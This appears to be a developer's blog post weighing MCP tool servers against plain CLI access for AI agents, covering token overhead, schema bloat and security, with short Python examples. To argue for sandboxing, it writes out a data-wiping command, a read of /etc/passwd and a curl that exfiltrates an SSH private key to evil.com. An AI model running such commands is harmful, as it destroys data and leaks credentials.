Skip to content

Is MCP Dead? The Data-Driven Answer (MCP vs CLI)

Problem

I saw the “MCP is dead” posts everywhere. Twitter threads, Reddit discussions, blog articles - all claiming that CLI tools are the future and MCP was a failed experiment. The arguments sounded convincing: MCP has too much token overhead, CLI is simpler, just run shell commands instead.

But when I looked closer, something didn’t add up. If MCP was truly dead, why was Anthropic still investing in it? Why were major AI companies building MCP servers? Why did my own MCP implementations work just fine?

I decided to investigate the actual evidence behind this narrative.

What I Found

The “MCP is dead” argument gained traction from a specific scenario: bloated MCP servers with massive schemas. I found the original discussion on Reddit where someone measured actual token costs.

Here’s what they discovered:

The original claim:

“The ‘MCP is dead’ take is overfit to servers where schemas are bloated.”

Translation: People were measuring MCP servers that exposed hundreds of tools with verbose JSON schemas, then generalizing those results to the entire protocol.

The counterpoint that clicked:

“I don’t even need data. The main reason ‘just use cli’ is a bad argument against MCP is that we don’t want to give all agents Bash/terminal capabilities.”

This made me realize the debate was missing the real issue. It wasn’t about token costs. It was about security.

The Real Trade-offs

I built a comparison table to understand the actual differences:

MetricMCP (Well-Designed)MCP (Bloated)CLI
Token overhead per call50-200 tokens500-2000+ tokens20-100 tokens
Setup complexityMediumMediumLow
Security modelSandboxed toolsSandboxed toolsFull shell access
Error handlingStructured JSONStructured JSONParse stdout/stderr
Tool discoveryBuilt-in protocolBuilt-in protocolManual documentation
Multi-agent supportNativeNativeRequires orchestration

The key insight: token cost is only one metric. Security, error handling, and tool discovery matter too.

When to Use What

Based on my research and experience, here’s a decision guide:

ScenarioRecommendationWhy
Simple file operationsCLILower overhead, widely available
Production agents with untrusted inputMCPSandboxed tool access, no shell injection risk
Complex multi-tool workflowsMCPStructured tool discovery, better error handling
Quick prototypingCLIFaster iteration, less setup
Multi-agent systemsMCPStandardized protocol, better composability

The Security Problem with CLI

Here’s the issue that convinced me MCP has a real place.

When you give an AI agent CLI access, you’re giving it a shell. That means:

What CLI access really means
# The agent can run ANY command
rm -rf /
cat /etc/passwd
curl https://evil.com/exfiltrate?data=$(cat ~/.ssh/id_rsa)

One Reddit commenter put it bluntly:

“We don’t want to give all agents Bash/terminal capabilities.”

MCP solves this by sandboxing tool access. An MCP server exposes only specific operations:

mcp_tool.py
@mcp.tool()
async def search_documentation(query: str) -> dict:
"""Search official docs for query.
Args:
query: Search term (max 100 chars)
Returns:
{results: [{title, url, snippet}]}
"""
# Tight schema = low token overhead
return await doc_search(query, limit=5)

The agent can only call search_documentation. It cannot run arbitrary shell commands.

The Schema Bloat Problem

The legitimate criticism of MCP is schema bloat. I found examples of badly-designed servers:

bloated_mcp.py
# Bad MCP: Expose everything
@mcp.tool()
async def generic_query(
table: str,
columns: list[str],
where: dict,
order_by: str,
limit: int,
offset: int,
join: list[dict],
# ... 20 more parameters
) -> dict:
# Bloated schema = high token overhead
# This is what gives MCP a bad name
pass

This tool has a massive schema. Every time the agent sees this server, it burns tokens parsing the schema.

The solution? Design lean MCP servers:

lean_mcp.py
# Good MCP: Expose only what's needed
@mcp.tool()
async def get_user(user_id: str) -> dict:
"""Get user by ID.
Args:
user_id: UUID string
Returns:
{id, name, email}
"""
return await db.users.find_one({"id": user_id})
@mcp.tool()
async def list_users(page: int = 1) -> dict:
"""List users paginated.
Args:
page: Page number (default 1)
Returns:
{users: [...], total: int, page: int}
"""
return await db.users.list(page=page, limit=20)

Two focused tools instead of one generic query. Lower token overhead. Clearer intent.

The CLI Alternative

For comparison, here’s what the CLI approach looks like:

CLI approach
# Simple but requires shell access
curl -s "https://api.example.com/users/$user_id" | jq '.'

This is simpler. But notice what’s required:

  1. The agent needs curl installed
  2. The agent needs jq installed
  3. The agent needs network access
  4. The agent can run ANY curl command
  5. Error handling means parsing stdout/stderr

For trusted environments, this works fine. For production agents handling untrusted input, it’s a security risk.

The Missing Metrics

One insight from the Reddit thread stood out:

“Good benchmark direction. The missing piece is control-plane reliability metrics next to token cost.”

The debate focused on token costs. But what about:

Reliability:

  • MCP: Structured JSON responses, clear error types
  • CLI: Parse stdout/stderr, hope the format doesn’t change

Observability:

  • MCP: Built-in tool discovery, versioned schemas
  • CLI: Check --help, hope it’s accurate

Maintainability:

  • MCP: Change schema, clients see the change
  • CLI: Change output format, break all scripts

Token cost is easy to measure. These other factors are harder to quantify but matter for production systems.

What People Actually Use

I found this telling comment:

“There are good MCPs that I use. But only 2 MCPs vs +30 CLIs right now”

This reflects the current reality. CLI tools are mature and abundant. MCP is newer with a smaller ecosystem.

But the numbers don’t tell the whole story. I’d rather have 2 well-designed MCPs for security-critical operations and 30 CLIs for trusted local development. They serve different purposes.

My Take

After investigating, here’s what I believe:

MCP is not dead. The narrative is an overreaction to poorly-designed implementations.

The real question isn’t “MCP vs CLI” - it’s:

  1. What are your security requirements? (MCP for untrusted environments)
  2. How complex is your tool ecosystem? (MCP for discoverability at scale)
  3. What’s your reliability tolerance? (CLI for simplicity, MCP for structured error handling)

The future is hybrid. MCP for production agents with security requirements. CLI for quick scripts and trusted environments.

Summary

I investigated the “MCP is dead” narrative and found it’s overblown. The argument stems from measuring bloated MCP servers and generalizing to the entire protocol.

Key findings:

  • Token overhead varies dramatically: 50-200 tokens for well-designed MCP vs 500-2000+ for bloated ones
  • CLI requires full shell access, which is a security risk for production agents
  • MCP provides sandboxed tool access, structured error handling, and built-in discovery
  • Both have valid use cases - the choice depends on security requirements and complexity

The real best practice: design lean MCP servers with focused tools, use MCP when security matters, use CLI for trusted environments and quick prototyping.

Final Words + More Resources

My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me

Here are also the most important links from this article along with some further resources that will help you in this scope:

Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!

Comments